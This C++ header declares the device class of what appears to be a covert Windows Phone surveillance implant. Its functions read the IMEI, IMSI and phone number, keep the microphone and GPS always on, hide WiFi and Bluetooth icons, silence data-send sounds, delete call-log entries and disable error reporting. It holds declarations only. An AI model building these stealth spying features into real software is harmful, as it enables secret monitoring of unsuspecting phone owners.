hackedteam/core-winphone

View on GitHub
MornellaWp8/MornellaWp8/Device.h

Summary

Maintainability
Test Coverage
#include "Common.h"
#include <string>
#include <exception>
#include <common_new\Pm.h>
///#include <winioctl.h>
#include <vector>

using namespace std;

#ifndef __Device_h__
#define __Device_h__

#include "Encryption.h"

#include "common_new.h"

#define UFN_CLIENT_NAME_MAX_CHARS 128
#define UFN_CLIENT_DESCRIPTION_MAX_CHARS 250
#define USB_FUN_DEV L"UFN1:"
#define IOCTL_UFN_CHANGE_CURRENT_CLIENT CTL_CODE(FILE_DEVICE_UNKNOWN, 4, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef void (*POWERNOTIFYCALLBACK)(POWER_BROADCAST *powerBcast, DWORD dwUserData);

typedef struct _UFN_CLIENT_INFO {
    TCHAR szName[UFN_CLIENT_NAME_MAX_CHARS];
    TCHAR szDescription[UFN_CLIENT_DESCRIPTION_MAX_CHARS];
} UFN_CLIENT_INFO, *PUFN_CLIENT_INFO;

typedef struct _DiskStruct {
    wstring strDiskName;
    UINT uDiskIndex;
    ULARGE_INTEGER lFreeToCaller;
    ULARGE_INTEGER lDiskSpace;
    ULARGE_INTEGER lDiskFree;
} DiskStruct, *pDiskStruct;

typedef struct _CallBackStruct {
    POWERNOTIFYCALLBACK pfnPowerNotify;
    DWORD dwUserData;
} CallBackStruct, *pCallBackStruct;

class Status;
class Device;

// Tutti i puntatori tornati da questa classe vengono liberati dal distruttore.
class Device
{
    private:
    /**
     * Definizioni per la classe singleton
     */
    static Device *Instance;
    static volatile LONG lLock;

    HANDLE hDeviceMutex, hDeviceQueue, hPowerNotification, hNotifyThread, hResetIdleThread, hIdleEvent;

    /**
     * Database statico dei modelli e funzionalita' supportati.
     */ 
    private: wstring strImei, strImsi, strSimId, strInstanceId, strPhoneNumber, strManufacturer, strModel,strOSversion;
    private: map<UINT, DiskStruct> mDiskInfo; // Indice, DiskStruct

    /**
     * Variabili che contengono lo stato del telefono.
     */
    private: DWORD dwPhoneState, dwRadioState;
///    private: SYSTEM_POWER_STATUS_EX2 *systemPowerStatus;
    private: SYSTEM_POWER_STATUS *systemPowerStatus;
    private: HANDLE hGpsPower, hMicPower;
    private: INT iWaveDevRef;
    private: UINT uMmcNumber;
    private: DWORD m_WiFiSoundValue, m_DataSendSoundValue;
    private: vector<CallBackStruct> vecCallbacks;

    /**
     * Variabile utilizzata per il calcolo del time-delta
     */
    private: ULARGE_INTEGER ulTimeDiff;

    /**
    * Device e' una classe singleton
    */
    public: static Device* self();

    /**
     * Imposta il device del GPS in modo da non spegnerlo mai, torna TRUE se la chiamata
     * va a buon fine, FALSE altrimenti.
     */
    public: BOOL SetGpsPowerState();

    /**
     * Reimposta il powerstate del device GPS a quello che c'era prima della chiamata a
     * SetGpsPowerState(). Torna TRUE se la chiamata va a buon fine, FALSE altrimenti.
     */
    public: BOOL ReleaseGpsPowerState();

    /**
    * Imposta il device del Microfono in modo da non spegnerlo mai, torna TRUE se la chiamata
    * va a buon fine, FALSE altrimenti.
    */
    public: BOOL SetMicPowerState();

    /**
    * Reimposta il powerstate del device Microfono a quello che c'era prima della chiamata a
    * SetMicPowerState(). Torna TRUE se la chiamata va a buon fine, FALSE altrimenti.
    */
    public: BOOL ReleaseMicPowerState();

    /**
     * Torna lo stato del display, se non riesce a leggerlo torna sempre D0, ovvero attivo.
     */
    public: CEDEVICE_POWER_STATE GetFrontLightPowerState();

    /**
     * Ottiene informazioni sul sistema operativo e riempie la struttura passata per riferimento, torna TRUE se la
     * chiamata e' andata a buon fine, FALSE altrimenti.
     */
    public: BOOL GetOsVersion(OSVERSIONINFOEXW* pVersionInfo);

    /**
    * Ottiene informazioni sull'architetturae riempie la struttura passata per riferimento.
    */
    public: void GetSystemInfo(SYSTEM_INFO* pSystemInfo);

    /**
    * Ottiene informazioni sulla memoria installata nel device.
    */
    public: void GetMemoryInfo(MEMORYSTATUS* pMemoryInfo);

    /**
    * Prende il Mobile Country Code dall'IMSI, torna 0 se non ci riesce.
    */
    public: DWORD GetMobileCountryCode();

    /**
    * Prende il Mobile Network Code dall'IMSI, torna 0 se non ci riesce.
    */
    public: DWORD GetMobileNetworkCode();

    /**
     * Torna TRUE se supportiamo l'hiding dell'icona del WiFi, FALSE altrimenti. Internamente questa funzione
     * chiama GetOsVersion() e GetDeviceType() per effettuare il browsing del Db e vedere le funzionalita'
     * supportate.
     */
    public: BOOL IsWiFiHidingSupported();

    /**
     * Torna TRUE se supportiamo l'hiding dell'icona del BlueTooth, FALSE altrimenti. Internamente questa funzione
     * chiama GetOsVersion() e GetDeviceType() per effettuare il browsing del Db e vedere le funzionalita'
     * supportate.
     */
    public: void IsBTHidingSupported();

    /**
     * Torna TRUE se il dispositivo e' dotato di un modulo per l'utilizzo del WiFi, FALSE altrimenti. Internamente 
     * questa funzione chiama GetOsVersion() e GetDeviceType() per effettuare il browsing del Db e vedere le 
     * funzionalita' supportate.
     */
    public: BOOL IsWifi();

    /**
     * Torna TRUE se il dispositivo e' dotato di un modulo per l'utilizzo del BT, FALSE altrimenti. Internamente 
     * questa funzione chiama GetOsVersion() e GetDeviceType() per effettuare il browsing del Db e vedere le 
     * funzionalita' supportate.
     */
    public: BOOL IsBT();

    /**
     * Torna TRUE se siamo in grado di attivare il WiFi senza intervento dell'utente, FALSE altrimenti. Internamente 
     * questa funzione chiama GetOsVersion() e GetDeviceType() per effettuare il browsing del Db e vedere le 
     * funzionalita' supportate.
     */
    public: BOOL IsWiFiActivable();

    /**
     * Torna TRUE se siamo in grado di attivare il BT senza intervento dell'utente, FALSE altrimenti. Internamente 
     * questa funzione chiama GetOsVersion() e GetDeviceType() per effettuare il browsing del Db e vedere le 
     * funzionalita' supportate.
     */
    public: BOOL IsBTActivable();
    
    /**
     * Torna TRUE se la radio GSM e' attiva ed in uno stato conosciuto, FALSE altrimenti.
     */
    public: BOOL IsGsmEnabled();

    /**
    * Torna TRUE se scheda SIM e' inserita, FALSE altrimenti.
    */
    public: BOOL IsSimEnabled();

    /**
    * Questa funzione legge il codice IMSI dal telefono e torna una stringa che lo contiene. 
    * Torna una stringa vuota in caso di errore.
    */
    public: const wstring GetImsi();

    /**
     * Questa funzione legge il codice IMEI dal telefono e torna una stringa che lo contiene. 
     * Torna una stringa vuota in caso di errore.
     */
    public: const wstring GetImei();

    /**
     * Questa funzione ottiene un ID univoco per ogni telefono
     */
    public: const BYTE* GetInstanceId();

    /**
     * Ottiene il numero di telefono associato alla SIM correntemente inserita, il numero viene tornato come _stringa_.
     * Se non e' possibile leggere il numero di telefono, la stringa e' vuota.
     */
    public: const wstring GetPhoneNumber();

    /**
    * Questa funzione ritorna il produttore del cellulare. Torna una stringa vuota in caso di errore.
    */
    public: const wstring GetManufacturer();

    /**
    * Questa funzione ritorna la vesione dell OS. Torna una stringa vuota in caso di errore.
    */
    public: const wstring GetOV();

    /**
    * Questa funzione ritorna il modello del cellulare. Torna una stringa vuota in caso di errore.
    */
    public: const wstring GetModel();

    /**
    * Torna il numero di schede di memoria attualmente presenti sulla macchina
    */
    public: UINT GetDiskNumber();

    /**
    * Torna le info su un disco a partire dal relativo indice, strName e' una stringa
    * che conterra' il nome del disco. 
    * plFtc e' un puntatore ad un intero a 64 bit che rappresenta il numero di byte
    * liberi per l'utente. plDsk indica il numero di byte totali sul disco. plDf il
    * numero di byte liberi sul disco.
    * Torna TRUE se la funzione e' andata a buon fine, FALSE altrimenti.
    */
    public: BOOL GetDiskInfo(UINT uIndex, wstring &strName, 
                PULARGE_INTEGER plFtc, PULARGE_INTEGER plDsk, PULARGE_INTEGER plDf);

    /**
     * Ritorna le informazioni sullo stato della batteria, torna NULL in caso di errore.
     */
    ///public: const SYSTEM_POWER_STATUS_EX2* GetBatteryStatus();
    public: const SYSTEM_POWER_STATUS* GetBatteryStatus();

    /**
     * Questo metodo serve a refreshare esplicitamente tutte le informazioni contenute nella classe,
     * va usato soltanto quando si e' certi che i dati sono cambiati (ad esempio la SIM e' stata modificata
     * senza che il cellulare sia stato riavviato etc...). Torna TRUE se tutto e' andato a buon fine
     * FALSE altrimenti.
     */
    public: BOOL RefreshData();
    
    /**
     * Refresha unicamente le info sulla batteria, torna TRUE in caso di successo, FALSE altrimenti.
     */
    public: BOOL RefreshBatteryStatus();

    /**
    * Torna lo stato di potenza di un qualunque device richiedendolo direttamente al driver.
    * Il nome del device puo' essere sia nel formato {GUID}\DeviceX: che nel formato DeviceX:
    * La funzione torna PwrDeviceUnspecified in caso di errore. NON E' CONCORRENTE!
    */
    private: CEDEVICE_POWER_STATE NCGetDevicePowerState(const wstring &strDevice);

    /**
    * Imposta lo stato di potenza di un qualunque device comunicandolo direttamente al driver.
    * Il nome del device puo' essere sia nel formato {GUID}\DeviceX: che nel formato DeviceX:
    * La funzione torna TRUE se va a buon fine, FALSE altrimenti. NON E' CONCORRENTE!
    */
    private: BOOL NCSetDevicePowerState(const wstring &strDevice, CEDEVICE_POWER_STATE cePowerState);

    /**
    * Versione pubblica e concorrente della NCGetDevicePowerState().
    * La funzione torna PwrDeviceUnspecified in caso di errore.
    */
    public: CEDEVICE_POWER_STATE GetDevicePowerState(const wstring &strDevice);

    /**
    * Versione pubblica e concorrente della NCSetDevicePowerState().
    * La funzione torna TRUE se va a buon fine, FALSE altrimenti.
    */
    public: BOOL SetDevicePowerState(const wstring &strDevice, CEDEVICE_POWER_STATE cePowerState);

    /**
     * Disabilita il suono riprodotto quando viene rilevata una rete wireless e quando vengono
     * inviati dei dati.
     */
    public: void DisableWiFiNotification();

    /**
    * Ripristina il valore relativo al suono riprodotto quando viene rilevata una rete wireless e
    * quando vengono inviati dei dati. 
    */
    public: void RestoreWiFiNotification();

    /**
     * Registra una callback che ricevera' le info sul cambio di power state. Torna TRUE se va
     * a buon fine, FALSE altrimenti.
     */
    public: BOOL RegisterPowerNotification(POWERNOTIFYCALLBACK pfnPowerNotify, DWORD dwUserData);

    /**
     * Unregistra una callback precedentemente registrata. Torna TRUE se va a buon fine, FALSE altrimenti.
     */
    public: BOOL UnRegisterPowerNotification(POWERNOTIFYCALLBACK pfnPowerNotify);
            
    /**
     * Invoca le callback registrate, e' pubblica SOLO perche' va chiamata da un thread esterno alla
     * classe e non si puo' fare altrimenti, quindi non va MAI invocato!
     */
    public: void CallRegisteredCallbacks(POWER_BROADCAST *powerBroad);

    /**
     * Questa funzione abilita l'error reporting di DrWatson, torna TRUE se e' andata a buon fine
     * FALSE altrimenti.
     */
    public: BOOL EnableDrWatson();

    /**
     * Questa funzione disabilita l'error reporting di DrWatson, torna TRUE se e' andata a buon fine
     * FALSE altrimenti. ATTENZIONE: per evitare problemi questa funzione in DEBUG mode torna sempre TRUE.
     */
    public: BOOL DisableDrWatson();

    /**
     * Sui telefoni HTC fa in modo che la WiFi resti accesa anche in modalita' unattended. Torna TRUE
     * se va a buon fine, FALSE altrimenti.
     */
    public: BOOL HTCEnableKeepWiFiOn();

    //NB: da commentare
    public: void RemoveNotification(const GUID* pClsid);
    public: UINT RemoveCallEntry(wstring lpszNumber);
    public:    BOOL SetPwrRequirement(DWORD dwPwd);
    public:    BOOL VideoPowerSwitch(ULONG VideoPower);

    /**
     * Torna TRUE se il telefono e' in modalita' _unattended_, FALSE altrimenti.
     */
    public: BOOL IsDeviceUnattended();

    /**
     * Torna TRUE se il telefono e' in modalita' POWER_STATE_ON, FALSE altrimenti.
     */
    public: BOOL IsDeviceOn();

    /**
     * Abilita o disabilita l'ActiveSync (o il mass-storage), torna TRUE se va a buon fine, FALSE altrimenti.
     */
    public: BOOL SwitchUSBFunctionProfile(BOOL bEnableActiveSync);

    /**
    * Imposta il time diff
    */
    public: void SetTimeDiff(ULARGE_INTEGER uTime);

    /**
    * Torna il time diff
    */
    public: ULARGE_INTEGER GetTimeDiff();

    /**
    * Torna l'handle dell'evento monitorato dall'idle thread
    */
    HANDLE getIdleEvent();

    /**
     * Costruttore di default, inizializza il database dei modelli e delle funzioni supportate.
     */
    private: Device();
    public: ~Device();
};

#endif